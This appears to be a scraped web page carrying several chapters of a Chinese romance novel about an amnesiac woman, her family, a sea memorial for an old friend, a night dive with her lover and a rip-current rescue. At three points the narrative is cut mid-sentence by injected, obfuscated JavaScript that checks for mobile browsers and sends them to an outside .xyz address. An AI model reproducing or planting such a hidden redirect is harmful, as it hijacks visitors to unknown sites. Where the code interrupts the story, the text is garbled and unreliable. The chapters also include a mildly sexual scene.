余谨恢复冷漠臭脸,余慈指着他说:“就是这样,整张脸都馊了。” 在沈淮棠情不自禁的笑声里,余谨邦邦给余慈敲了两个脑瓜崩。 当然,余谨的脸也不是一直都这么馊。 更小的时候,沈如风还没有明显的精神分裂症状,仅仅因为抑郁症而时时就医。 为了散心,她带着沈淮棠飞去看妹妹。 云姨结婚后,直到余慈四岁,都没有回来过。 那也是沈淮棠第一次见到余谨和余慈——从小被父亲教育得板板正正的小男孩,又因为父母离异,被迫融入新家庭,愈发拘谨沉默。 以及从小被宠,却还是温柔可亲的小姑娘,笑脸阳光又明媚,心思却敏感细腻,擅长于把每个亲人都哄得服服帖帖。 他俩像完全极端的两个人,却又完美地合在同一个家庭。 正逢沈淮棠的七岁生日,母亲和云姨带他们三个小的去了主题游乐园,玩儿得尽兴后,还有专属于生日主角的派对。 沈淮棠穿着嫩黄色的公主纱裙,面前是一桌美食,中间的生日蛋糕最为精致,她插上蜡烛,闭眼许愿。 就在这时,一左一右坐在她身边的余谨与余慈,都凑上前去亲住她的左右脸颊。 快门声响起,这一刻被永久留存。 沈淮棠甚至都记不清许了什么愿望,只记得她惊讶地睁眼后,看到的是整个人红透了还要绷着脸的余谨,还有指着哥哥哈哈大笑的余慈。 她知晓这是两位母亲的恶作剧,但仍然心中雀跃,亲密地在余慈的脸亲一下,又转头去看余谨。 番茄余谨难以自控地微微颤抖起来,感觉下一秒就要爆炸。 可他愣是撑住了,双手紧紧握拳,一动不动地让沈淮棠捧住他滚烫的双颊,轻柔地在左脸一吻。 直到她松开,余谨呆呆地看着她黑亮的眼眸,里面有他的倒影。 然后,他突然泄了气儿,像是cpu干烧了的机器人,僵硬地直直倒下了。 这回连沈如风和云姨都大笑起来。 想起这些久远之事,沈淮棠不自觉地微笑起来,原来他们之间也有许多难得的回忆,可惜她忘了那么多年。 此时她才感受到刚失忆时,他们望向她难以遮掩的失落与伤心。 出意外时,正逢余谨余慈都在假期,寸步不离地守在她病床前,精细照顾。 然而沈淮棠那会儿将他们视为陌生人,对于这种“过度热情”难免抵触,所幸余慈性子活泼体贴,善解人意,很快就用温言软语的攻势将她哄好。 可余谨却是个不苟言笑的成年男人,性别有壁,性格也有壁。 哪怕知道他是关系甚笃的亲属,她仍对他疏离淡漠,无法接受他过分的照顾欲。 “这是家里煮的粥,食材都新鲜,你趁热喝了吧。”余谨走进病房后,将食盒放在床头柜,打开盖子,准备给她盛一碗喝。 她却从捧着的书本中抬起眼,轻轻摇摇头,表示不要。 余谨见状,皱眉说道:“我听护工说,你最近食欲很差,总是不吃东西怎么行?恢复期还是要营养跟上,食补最好,不能总指望营养针。” “头晕头疼,没有胃口。”大病一场的沈淮棠像个轻飘飘的纸片美人,脸颊瘦削,更显得瞳仁漆黑,下巴尖俏,再冷肃的面容配上这副体态,真是我见犹怜,“吃什么都想吐,干脆不吃了。” 见她状况实在不佳,余谨也不好强求,又将食盒的盖子旋了回去,沉默地坐在她的病床边,似乎是在想办法。 她想继续看书,却又被那强烈的注视影响,难免开始敏感地胡思乱想,于是她合上书本:“饿的时候,我会喝的。” 余谨闻言抬眸,知道她什么意思:“你看你的书,不用管我。” 她故作不见,又问:“阿慈怎么没来?” “她马上就来。”余谨的表情有点怪异,像是想笑却没笑出来,冷硬的五官硬是挤成一个别扭的样子,“你就这么不想跟我单独呆着吗?” 沈淮棠一时沉默,不知该如何回答。 余谨收回视线,妥协道:“好吧,既然你不想见到我,那我走了。” 说罢,他转身离开,然后理所应当地听见沈淮棠叫住他的声音:“余谨!” 他停住脚步,微微偏首。 醒来以后,她只会连名带姓地喊他的名字,不再叫他哥哥。 沈淮棠顿了顿,继续说:“你知道我不是这个意思。” 不知是否她想得太多,自从失忆后,撇去对余谨的亲情滤镜,她才蓦然察觉到背后的幽深。 余谨看向她的眼神,不是兄长看妹妹的眼神,倒像是男人看女人的眼神,总有无端显露的强势和克制。 至少,余谨看余慈时从未有如此神态。 “我知道,你对我还不习惯,但我是你哥哥,这一点永远不会变。” 余谨的表情仍然很古怪,“你看,我和阿慈有血缘关系,你和阿慈也有血缘关系,我们又在同一个家庭里——四舍五入,我就是你亲哥。” 这一段惊世骇俗的言论硬控沈淮棠整整两分钟,特别配上余谨那副严肃正经的神态,不知道的还以为他在谈论什么最新迭代的科研理论。 但也正是如此,直接击碎之前她对余谨的偏见——原来只是她在自作多情。 幸好,是她在自作多情。 沈淮棠转而将余谨当做家人,或者一个熟人朋友来看待,亲近却不亲密。 她的处事法则是两不相欠。 余谨送她贵重礼物,她收下后,并不会马上还礼,这是在撇清关系,而后下次再回一份价值相当,再多些添头的礼物,表示诚意。 但算计本就意味着距离,这么多年,他们的关系始终未到最深那一步。 真是棘手啊。 沈淮棠仰着头随着海流漂浮,看向湛蓝无暇的天空,一时失神。 她再次潜入海中,安然地与这个斑驳陆离的世界融为一体,远离喧嚣的人间。万籁俱静,眼前却缤纷如诗,她的灵魂在海中飞行,心跳连接着地球的脉搏。 与大自然接触能涤净灵魂。 以前江未即是如此简单纯粹,每天都往外跑,她虽然时常一同前往,但心里有事儿,从内到外都处在拒绝入侵的状态。 如此铜墙铁壁,根本无法全然与自然交互,现在挂念少了,反而体会到自身不过天地间一粒细沙的快活。 从海里出来后,沈淮棠虽然肌肉有些酸痛,却仍保持着雀跃的心。 她没有直接回酒店,而是去了栖居。 太阳下山,达拉斯没再捯饬木工,而是坐在桌前,戴着老花镜,细致认真地研读他的诗集。 他抬头看一眼推门进来的沈淮棠,笑眯眯地说:“累了吧?锅里有热着的蘑菇汤,去喝吧。” 她感到熟悉的亲切,笑得兴高采烈,如以前般自觉地去后厨盛汤,浓烈的香气勾起馋虫,连喝了三碗也不带停。 见她吃得高兴,达拉斯也眉开眼笑,推推眼镜问道:“明天要跟我出海吗,棠?” 她问:“去做什么?” “给梅女士寄信。”达拉斯考虑到她可能想不起来,解释道,“就是江未的祖母,我的老朋友,明天是距离她忌日的前一个月,我要出海纪念她。” 沈淮棠疑惑道:“为什么不在当天去?” 达拉斯爽朗地大笑:“既然是寄信,那就要提前寄啊,一个月后的今天,她就可以收到信了。” 她也笑:“我需要准备什么吗?” “准备一颗轻松的心,亲爱的。”达拉斯温和地说,“就当是出去散散心吧。” 第二天,沈淮棠早早来到海边,达拉斯让她先上小艇,而后在空余的位置上摆满了鲜花。 远远瞧着,倒像是她坐在花丛中,引得蜜蜂都跟着嗡嗡飞。 而那些新鲜的花朵,就是达拉斯要给梅女士的“信”。 今日天气晴好,海风徐徐,他们出海一路顺遂,沈淮棠沉浸在这一刻的轻松惬意中,与掌船的达拉斯闲聊道:“你与梅女士是什么时候认识的?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850615|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “在非常年轻的时候,或许是十八岁,还是十九岁。”达拉斯怀念地笑着,“在零市的一次画展上,她穿着旗袍和白绒披肩,非常贵气漂亮。” 达拉斯与梅女士相谈甚欢,分别时约定与对方写信,这一写就是数年。 从梅女士开始环游世界以后,就是她写得多,他收得多,却不好回信,因为时常不确定她在哪里。 不过也没有关系。 他等着收信,确定她安危就行。 达拉斯就以这样的方式参与了梅女士的大半生。 他看着她满世界到处跑,创造出无数绚烂的画作,与爱人相识,结婚生子,日子过得鸡飞狗跳。 于是又离婚,继续沉迷于画作,后来再次启程,改成带着孙子到处跑,享受人生与艺术,最终在梦港岛定居,安享晚年,结束这风风火火的一生。 哪怕离开这个世界,她也选择一个浪漫的方式,骨灰洒向大海,与自然相融。 “在我们那个年代,一封信往往要一个月才会抵达,非常漫长。有时候,我收到梅女士的信,她都已经换了两三个地方。” 达拉斯的语气中还有一点遗憾,“我感受到的,永远是她一个月前的喜怒哀乐。” “梅女士寄给我的信,足足有三大箱,我都好好收起来了。”他笑眯眯地说,“而现在,轮到我给她寄信了,真是风水轮流转。” 讲到这里,沈淮棠终于明白:“所以你现在要提前一个月给她‘寄信’。” 他又笑起来:“对啊,我不想她体会那种等待的煎熬。” 沈淮棠倚靠在船沿,撑着腮帮子,溅起的海水星子偶尔落在面庞。 她转而看向蓝天与白云,心想,达拉斯与梅女士之间应该是有爱的,但这好像不拘束于爱情,局限性太大。 他爱她,就像爱今天的好天气。 不知不觉间,小艇距离陆地越来越远,远到已经看不见岸边,他们仿似到了一望无际海洋的中心。 达拉斯停了船,闭上眼睛,双手合十,嘴唇翕动,似乎在默念着什么,可能是经文,可能是诗句,也可能是他在信中想要对梅女士说的话。 海风阵阵,耳边只有波涛滚滚,还有海鸥的大叫,以及远处传来的船笛声。 可当他闭上眼的时候,沈淮棠却莫名感受到万籁俱静。 她没有打扰他,而是伸手入海,搅动着水面,静静等待着这神圣而静谧的一刻。 片刻后,他睁开眼睛,脸上泛起一如既往的温和的笑容,开始将鲜花的花瓣洒向海面。 沈淮棠学着他,也用双手掬捧起无数的花瓣,抛向海里,小小的浪花一个翻卷,就将那五彩缤纷的花瓣席卷。 花瓣好似长长一条河流,夹在海浪之间,漫漫地流向远方。 沈淮棠心里有奇异的流动,她看向达拉斯,他好似一辈子就在做木工,不管是在栖居的门口,亦或是他自己的店门口。 那是一个永恒等待的姿势。 他在等待梅女士的信,又或许是别的。 与之相衬的,是他无尽的耐心。 她从未见他发过火,或者有什么急躁的模样,一直慢慢地,平和的,然后他的身影与夕阳夜晚交织那一刻融为一体。 “达拉斯。”沈淮棠忽然问,“你觉得等待有意义吗?” 不可避免的,她想到了曾经发生的事情,在她的一生中,也经历过许多等待。 最初是母亲在等她长大,她在等母亲病好,到梦港岛后,她在等待自己疾病的痊愈,在等待异兽的消失,又或者,她总是在等江未回来,失忆后,是江未在等她回头。 “等待本身没有意义。”达拉斯想了想说,“但相逢会让等待变得有意义,那一刻,或许会让人觉得‘这一切是值得的’。” 沈淮棠还在理解其中意思,达拉斯又摇摇头:“不要执迷于此,什么‘时间’、‘意义’都是人类创造出来概念,可以使用,但不要被它框定规训。” 他笑了笑,伸手抚摸她被海风吹得乱糟糟的头发,轻声说,“你是自由的,孩子。” 33. 夜潜 沈淮棠要过生日了。 二十五岁的生日。 正是风华正茂的好年纪,她想,旧痂剥落,有新的东西从中长出来,新鲜蓬勃,连带着人生都发起光来。 她倚靠在酒店阳台的栏杆上,望着永不停息的海潮,缓慢地思索着,新的一岁要定下怎样的新目标。 这是失忆之后养成的习惯。 那时候她从医院醒来,人生重新开始,从聚焦在每日小事以认识世界,具体到当日天气,病号餐的种类,用药的剂量与时间…… 再往后,就是重新读书认字,便于恢复记忆与生活技能。 沈淮棠从云姨那儿听来,当时去梦港岛治病时较为匆忙,正逢高考结束未久,如今闲来无事,也无牵挂,于是又开始重新考学念书。 毕业之前,她思虑许久职业规划,确认自己毫无卷来卷去的拼劲儿,于是毕业后将攒了许久的钱用于在鹤城开一家书店,自得其乐。 或许冥冥之中命运早就安排好一切,将栖居书店开起来,就是找回记忆的前奏,大大小小的事情终会一环接一环地扣起。 沈淮棠正撑着腮帮子发呆,房门忽然被敲响,她转身开门,来者果然是风尘仆仆的江未。 他因工作出岛一周,今日特地赶回来,也是为了要给她过生日。 江未的装扮好似刚从会议室出来,宽肩窄腰撑起黑色衬衣西裤,外套堆在臂弯。 见门开后,他迅速跨进来,玩闹似的用手掌揽过她的腰收紧,微微俯身,几乎要与她贴面。 沈淮棠猝不及防,眼睛睁大,手心抵在他胸膛,下意识后退半步。 江未见状笑得狡黠,步步紧逼,垂眸欲吻,她赶紧偏过脸,听见他带着笑意的低沉声音落在耳边,酥酥麻麻:“怕什么?” 她抬眸看他,轻声说:“你身上的味道很陌生,有别人的香水味。” 这话像是玩笑,又似严重的控诉。 江未当真,皱起眉头,松开沈淮棠后仔仔细细地嗅嗅自己身上的味道,满面怀疑:“有吗?我怎么没闻到?难道是在飞机或渡轮染上其他人的香水味?” 沈淮棠趁机溜走,又被江未长手一捞就捉住,他没脸没皮地贴上来,嘻嘻笑道:“你是小猫吗?对味道这么敏感?这么淡的味道都闻得到。” 她仰头,将他的脸推开:“不要碰我。” “好,我去洗洗。”他终于放过她,放手后转身去洗手间清洁。 净手洁面后,江未出来,伸出手指,将胸膛前的领带一扯,扣子散开三两颗,半塌的领口有气无力地遮着漂亮的锁骨。 他转身坐在沙发上,将袖口随意挽起,露出线条好看的小臂,长腿一伸,整个人舒展又慵懒。 就这么随意地三两下,严整的装扮被他改成凌乱美。 沈淮棠审视着他美好的身材,心里一动,走上前去,侧坐在他的沙发扶手,垂眸凝视他。 他脸上还带着些水珠,眉毛与睫毛都湿漉漉的,漆黑明润,好看极了。 她伸手抵在他的胸膛,不动声色感受衣下肌肉的隆起,掌心缓慢轻揉着上移,手指伸至领带一挑——那本就松垮的领带彻底被解开,落入她手中。 江未手心覆盖上她的手背,轻轻按住,眉毛一挑说:“现在不嫌弃我身上有别人的味道了?” “我现在又品到一丝别的感觉。” 沈淮棠面不改色,唇角一勾,俯下身去,顺着他的手臂肌肉一摸到底,而后将他两只手别在背后,用领带捆住手腕,还打了个漂亮的蝴蝶结,“有种偷情的快乐,果然男人还是别人家的香。” 江未一噎,还未来得及说话,又见她随意抽出束腰的深绿色丝带,裙子顿时宽松不少,脖颈处的布料层层叠叠地往下落,露出锁骨胸前雪白的肌肤。 她皓腕一翻,将丝带拉直,遮住他那双含情桃花眼。 江未并不拒绝,只微微偏头,半边侧脸湮没在黑暗中,似乎在等待着什么。 沈淮棠将他束缚后,解开他的衬衣扣子,露出流畅漂亮的肌肉线条。 她像是欣赏战利品般,居高临下地审视欣赏着他的身体,指腹一寸寸接触他的肌肤,感受他的每一次呼吸与心跳,从上至下,最终停在他的皮带处。 跨坐在他身上,她俯身去吻他的脖颈,感受他在失去视觉后被无限放大的战栗与兴奋,品味每一处细微的差别。 起伏之间,绑在他手腕的领带落下,他的双手恢复自由,当即紧紧箍住她的纤纤细腰,将她往怀里带,堪称强硬。 被托至顶端时,她颤抖着,顺势往他身上倒,他将她抱个满怀,咬住她的耳垂,装作恶狠狠地说: “让你再胡说八道,现在我身上可都是你的味道,看你还惦记别家男人。” 热气喷在沈淮棠的颈间,有些痒意,她伸手去推他的脸,却被他叼住指尖,不轻不重地咬一下,又吻住手心。 她靠在他怀里,心道这真是个狐狸精,他一回来她又被色迷心窍脑子发昏了。 江未的手掌包住她纤细的长指,细细摩挲着,指腹的温度染上她的清香。 他捏捏她的手心,轻声哄道:“抱歉,出去一星期,又把你冷落了。” 这话说得,沈淮棠倒听着像是“我出去一星期,你把我冷落了”,况且一个星期里,他每天都要打电话来,得闲就是许多信息,哪里就冷落了? 见她抿唇不说话,江未了然,哼哼道:“原来是一点都没想我,看你真是过得自在得很。” 沈淮棠心想,她才不像他似的信口胡来,实在说不来谎。 但她有恃无恐——开什么口呀,只需额头在他脖颈间蹭蹭,他一心软,万事迎刃而解。 果然,江未很吃这一套,当即笑了,语气也软下来:“今天我都没有咬你。” 这是求夸夸的表情,有点脆弱,有些期盼,沈淮棠瞥他一眼:“是有一点进步。” “只有一点吗?”他不依不饶地吻她,“那你告诉我,还需要改进哪里?” 沈淮棠被他亲得痒痒,敷衍地推他道:“哎呀这种事情……自己悟。” 江未见她这般,闷笑一声:“你想不想看生日礼物?” 沈淮棠有些意外:“今天就有吗?” 她还以为江未最近忙工作,抽空来梦港岛已经很了不得,竟然还给她准备礼物。 “当然。”江未笑笑,“我们分开五年,今年生日,自然要给你补上五份礼物。” 他先是给她看一份资料:“上次不是说给你买新戒指吗?这次去M城,就给你拍下一套珠宝,先送回国了。你看看样式,喜欢就留着,不喜欢再说。” 沈淮棠翻阅着资料里的珠宝照片与介绍信息,以及拍下的价钱,啧啧感叹:“小江总真大气,但这也太贵了吧?” 江未原先还骗她说那银戒是街边买的,九块九包刻字,现在她知道是自己做的以后,觉得卖九块九都有点悬。 “挣钱就是给你花的,别客气。” 江未不在意地摆摆手,矜贵得很,但沈淮棠在他脸上看到了久违的臭屁感。 他将行李箱推来,捧出一个质感颇佳的金属盒子——而沈淮棠在看到LOGO的第一眼时,眼睛叮得亮起来。 那是她最钟爱的相机牌子。 盒子里是一整套的相机、镜头与配件,机身竟然还有专属铭牌,刻着她的名字。 啊! 任何时候! 都无法放弃! 的刻字! 啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850616|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈淮棠爱不释手地抚摸着铭牌,被逗乐般痴痴地笑,竟难得透出某种娇憨之态。 不难看出,这是江未特地找了品牌方,为她定制的礼物。 可她忽然想之前打听的消息:“可是我听说,这家品牌不接定制……” 这已经不是钱的问题,有钱都买不到。 “确实,全球仅此一套。”江未笑弯眼,似乎比她还要高兴,他抱着手臂,洋洋得意又举重若轻地说,“去年我托关系找了他们CEO,确实费了些功夫才让他松口,但是能让你高兴,也值得了。” 沈淮棠抱着相机不撒手,整个人沉浸在微醺的氛围中,江未见她这幅样子,情不自禁掐掐她的脸: “这就满足了?我们今晚还要去夜潜,这是之前说好的第三份礼物啦。” 他下意识看向窗外,有些担忧,“我回来的时候看了看今晚的天气是阴天,不知计划是否能顺利。” 经过涯城暴风雨中追流星之旅,沈淮棠对天气原因倒是看得很开,人生有意外才是正常之事。 她心态很稳:“晚上去海边看看呗,天气还行就去,不行就回来,等天晴再去也一样,不拘这一天。” 沈淮棠再次接触游泳之后,还意外发现他们以前还偶尔去潜水。 所以江未不在的这段时间里,她又重新尝试,先是在泳池,后来又去近海,适应得还不错。 而江未以前时常出去游玩,早就有技潜执照,也算是经验丰富,这次为了准备夜潜,特地去借了达拉斯的电动小艇。 梦港岛的条件也就这样,这已经是他能弄来最好的装备,也算是另一种意义上的“有钱都买不到”。 等到夜晚降临,他们带好潜水设备,抵达岸边的沙滩。 天色阴沉,算不上月明星稀的好天气,却也不至于无法出海,海浪只比平日里稍微大一点。 于是他们按照原计划坐上小艇,一路朝着目的地前进。 抵达近海安全区后,江未停船,两人开始穿戴设备,确认无其他状况,依次后翻入水,检查氧气,终于开始下潜。 波涛阵阵的海面下方,完全是另一个空灵瑰丽的世界。 最开始,是完全的漆黑与寂静。 沈淮棠只听得见自己的呼吸与心跳,不平静的,像是躁动不安的鼓点,来自于没有依撑的悬浮感。 下一瞬间,手电的光柱打出去,凝固而黯淡的世界出现斑斓的流动,海底生物自由自在地游着,完全不在意她这个外来闯入者。 她的心脏竟然更兴奋地狂跳起来,恐惧与好奇同时抓紧神经。 大海存在四十六亿年,不少海里生物如同活化石般,可这一幅远古的景色此时正鲜活地呈现在她面前,她简直身处在一片跃动的遗迹中。 浩瀚无际的深蓝里只有一缕单薄的光。 她悬浮在此,沉浸其中,只觉得心跳与海洋相融合,脉搏与地球共振——她与这个世界是相连通的。 这时候,沈淮棠忽然感觉到,江未突然抓住了她的手。寂静缓慢,漂泊无依的世界里……他似她的浮木。 他们其实完全看不见彼此的面容,沈淮棠却能想象出江未的表情——他好像总是笑着的,不管是曾经,还是现在。 就算如今他的笑容里已经长出铠甲,可内核却从来没有变过。 海底之中,感觉不到时间流逝。 不知过了多久,江未打过手势,带着她一层层上浮。 可越是往上,她觉得海流愈发汹涌。 冒出海面的一瞬间,就像是罩住她的真空玻璃球突然炸开,哗啦哗啦的剧烈声响落在她耳边。 豆大的水珠噼里啪啦砸下来,与大海相融,沈淮棠这才发现,天空竟下起大雨。 34. 离岸流 江未抓住沈淮棠的手,朝他们的船游过去,可浪花越来越大,毫不留情地一次次将他们掀翻,又沉入海中。 情况危急,两人神情严肃,却并不至于惊慌失措。 海岛地区突然之间下雨,其实很常见,而且大多是阵雨,来得快去得快,时间短暂,只要耐心等这场雨下完就好了。 江未有力的臂膀紧紧地将她箍在怀中,她也用力抱着他的腰。 他们像两条随波逐流的小鱼,被汹涌的海浪裹挟着,在沉沉浮浮中,感受与天地隔绝。 水中温度下降,却比海面平静得多。 沈淮棠想,上回感受到“全世界好似只剩他们两个”的体验,似乎还在不久前。 怎么每次和他出来游玩,都会经历被雨水隔绝世界的体验呢? 她的恐惧感消退大半,甚至有些分心——脑袋里忽然浮现记忆的碎片,这好像不是他们第一次在水中这般纠葛。 那一次,也是江未为了给她过生日,二十岁的生日。他特地请假从学校赶回来,就是为了陪她三两天。 在生日的前一天傍晚,夕阳西下,江未带着她爬上海边的废弃灯塔,他说夜里能在这里看到非常绚丽的星空。 沈淮棠恐高,不大喜欢这地方,况且那灯塔废弃已久,早已无人维修,连入口都被封住。 然而看他兴致勃勃的样子,她实在不忍心拒绝,便遂了他的意,带着二白一起从破窗户翻入灯塔内部,踩着摇摇欲坠的楼梯,同他一起爬了上去。 当他们来到灯塔的最顶端,沈淮棠却发现木质地板被清理过,墙面的脏污也被洗去,挂上生日快乐的字母气球,甚至还有彩带,一看就是江未提前布置好的。 他比寿星还兴致勃勃,将准备好的生日蛋糕零食饮料都推出来,甚至还有一束新鲜的花朵。 沈淮棠感激他有心,想了半天,对他说:“江未,我有一份礼物送给你。” 江未一扬眉:“怎么你过生日,反而是我收礼物?” 她从背包里掏出来一个小盒子,递给江未,里面是一枚简单的银戒,和她手上的戒指同款,里面刻着一个未字。 “我本来想尝试其他款式,想要给你更好看的,但手工实在不太好,怎么都做不出想要的效果,做废了几十个……” 她有些不好意思地说,“这已经是我能做出来最好看的样子了。” 江未哈哈大笑:“我早说了,你这一款就是最好看的。”他小心翼翼地将戒指从盒子里摘出来,戴上食指,尺寸正好。 沈淮棠见他心情不错,也松口气,他又托起她的手,两只戒指交叠在一处。 “这样更好看。”他笑吟吟地说,顺势捏捏她的手心,“一模一样的戒指。” 江未似乎想说“情侣戒”,但想到沈淮棠还没接受呢,便将这词儿咽下去。 她自然也想到这一处,莫名有些不敢抬头回应他的注视,只好一直盯着他的手看。他的手非常温暖,骨节分明,指腹有薄薄的茧。 这时候,背后突然哐当一声! 他们转眸,看到一直在睡觉的二白呜呜哇哇地从沈淮棠的包里跳出来,猫毛乱飞,连带着里面的东西也甩了一地。 “小坏蛋。”她轻轻地在二白的屁股上一拍,蹲下收拾起来。 江未看到那些杂物,好奇地问道:“你还带了什么别的来?那是什么本子?” 笔记本已经很旧,封皮泛黄,但看得出来被保存得非常好。 “这是我妈妈以前写的日记。”沈淮棠递给江未,“今天想让妈妈陪我一起过生日。” 那本日记的写作风格非常随意,字迹也飘逸随性,从沈如风还怀着沈淮棠的时间开始写起,三五天就有一篇,记录着她第一次感受到女儿,胎动,研究胎教,到女儿出生,学习如何带崽,以及发生的糗事和趣事。 从中完全能感觉到新手妈妈的手忙脚乱,有时候一篇写到一半就戛然而止,因为她突然听到哭声,就慌忙去看孩子,结果回来就忘记要写什么了。 等到沈淮棠到上幼儿园的年纪,需要戒断的反而是沈如风本人,在家哭了好几次,大白天的跑去幼儿园墙边偷看女儿,发现孩子玩儿得可开心,心里欣慰又失落,蹲在墙根又哭一场。 江未觉得很有意思,随意翻阅着,书页哗啦啦,竟从里面掉落一张老照片,沈淮棠为了保存,甚至将照片过了塑封。 那是沈如风的单人照,模样年轻明媚,身穿素净的白衬衣与深色裙子,站在山坡大风里,举起手臂摇晃着她的帽子,笑容的感染力,跨过岁月,让现在看到照片的人都情不自禁随她一起露出笑容。 “拍这张照片的时候,还没有我呢,那个时候的妈妈才是她最好的、最原本的样子,没有被母亲这个身份所束缚的,最自由的样子。” 沈淮棠与他坐在一起,肩膀挨着肩膀,轻轻解释着,“这是我带来的唯一一张妈妈的照片。” 江未感受到她无与伦比的郑重,也肃然地点点头,准备珍而重之地将照片夹回日记本里。 就在此时,一阵大风刮过—— 正正好好地将那张照片席卷入惊烈的气流之中,吹出窗户。 沈淮棠在零点一秒之内就做出反应,扑上前去抓向照片,可只摸到了一个尖角,若非江未眼疾手快地拉住她,这会儿她已经从窗户摔下去。 单薄的照片似蝴蝶般无助回荡在风中。 时间凝固,她的大脑一片空白,耳边的声音仿佛无限拉长。 ——不过刹那间,江未直接破窗而出,追着照片跳了下去。 “江未!!”沈淮棠大喊一声,半个身子探出窗口去,正好看到他直接掉落进水里,溅起一大片水花。 那一瞬间,她的身体开始不自觉地剧烈颤抖,强烈的耳鸣声忽远忽近,大口呼吸却觉得气管肺部全被堵住—— 层层叠叠的梦魇在顷刻间灭顶而下,母亲是坠楼而亡,她虽然没有亲眼目睹,在噩梦中却无数次见过类似的场景。 沈如风连一句道别都不曾留给她,就这样义无反顾地从窗口跳落,正如江未在一瞬间做出的决定,要去替她追一个遗憾。 极度的呼吸困难,让沈淮棠颤抖的手下意识地摸向脖颈处,抓出一道道鲜红的指甲印。 她使劲儿眨了眨眼,强迫自己从应激情绪中抽离,垂头继续观察海面上江未的情况—— 然而她的眼睛却骤然睁大。 白色浪花的中间好似平平地消失一段,那是……离岸流。 而江未落水的地方,正正好好是离岸流的中间,如果他没有意识到,大概率就会在很短的时间内被急速的海浪卷走。 没有任何犹豫,沈淮棠干脆利落地朝着江未所处的位置跳了下去。 扑通巨响,她入水,耳压瞬时增高,浑身都因为跳水而疼痛不已。 可此时她并无力气在乎伤势,哪怕就在海岸边不远处,当离岸流来的时候,脚下却完全踩不到底,沙子全被海流冲走。 裹挟在失控的海流中,她呛了不少海水,模模糊糊地看见前方正在扑腾的江未,便拼尽全力游过去,抓住他的胳膊。 海浪翻涌,强势地把他们往更深处拉去,而她却爆发出惊人的力气,生拉硬拽着他往离岸流的侧面拼命游去。 一个个浪打过来,沈淮棠不停呛水,脑子里的剧烈情绪却逐渐褪去,清醒无比。 方才她在灯塔上看过大概位置,至少知道该往哪里去能最快脱离离岸流,而江未也仿佛有了主心骨,顺着她前进的方向一路猛游。 然而海流的阻力太大,不停将他们往回卷,速度极快,剧烈的挣扎之间,她的脑子里渐渐要失去意识,呼吸也逐渐减弱,只能间歇性地努力划动四肢,用最本能的求生欲继续向前。 生死一瞬,她的脚终于踩到沙子。 随着一道暗流,他们抵达岸边。 沈淮棠扑在沙滩上,大口呼吸,浑身痉挛,却不管不顾地扑向江未。 他不知何时竟然溺水了,满面苍白,双眼紧闭,迟迟醒不过来。 她伸手将他口中海水倒出,跪坐在沙滩,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850617|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伏在自己的膝盖上,猛地按压脊背,直到他哇的一声,吐出腥咸的海水。 而后,她将他放倒,用力地开始做胸外按压,又捏着他的嘴做人工呼吸,无知无觉地拼尽全力。 那种碾压过境的极端痛苦将她的大脑搅和成泥,她甚至已经感知不到胳膊与双手,只能机械性地做着急救。 在这漫长的三年治病过程中,沈淮棠想过许多次结束痛苦的方式,她宁愿大海带走的是自己,而不是江未。 不知过了多久,江未终于再次呕出大量海水,皱眉转醒。 见他终于睁开眼睛,沈淮棠颤抖着松了那口一直吊着的气儿,浑身卸劲,绵软地往后一倒,躺在沙滩上。 她大口呼吸,脑子一片空白地看着渐渐暗下来的天空,这才后知后觉地觉得好疼,太疼了,哪怕在呼吸时,都扯着一身的伤口痛不欲生。 过了许久,直至夕阳沉入海平线,他们仍在劫后余生的平静里后怕着,没人开口说话,气氛静谧无垠。 江未终于缓和不少,攒了点力气,勉强从沙滩上坐起身来,浑身狼狈。 他小心翼翼地看着沈淮棠,满脸都是怕她生气而不敢吱声的表情。 好半晌,江未悄咪咪地伸手,去勾住她的手指,却被一把甩开。 他锲而不舍地去抓。 她锲而不舍地丢开。 沈淮棠精疲力尽,耐心告罄,抬眸却看到江未可怜巴巴地看过来,委屈得像一只被遗弃的大狗,趴在她旁边摇尾巴,死皮赖脸地等她回心转意。 她把他的脸从眼前推开:“走开,我不想再看见你。” 江未趁机抚住她的手背,不让她抽回,理直气壮地说:“你想得美!” 她心里来气,手又被控制住,情急之下踹了他一脚,骂道:“你疯了吗?直接从灯塔往下跳?不要命了?” 江未认真地凝视她,轻声说:“可是照片没有丢。” 他往她手里塞了个什么。 她垂眸一看,竟然真是那张照片。 好在照片有塑封,虽然泡了海水导致一定的残损,但照片主体还好。 在那么危急的情况下,他竟然抓住了照片,而且一直都没有撒手。 可就算如此,沈淮棠还是很生气,气得眼泪不停地流,声音颤抖:“照片能有你的命重要吗?” 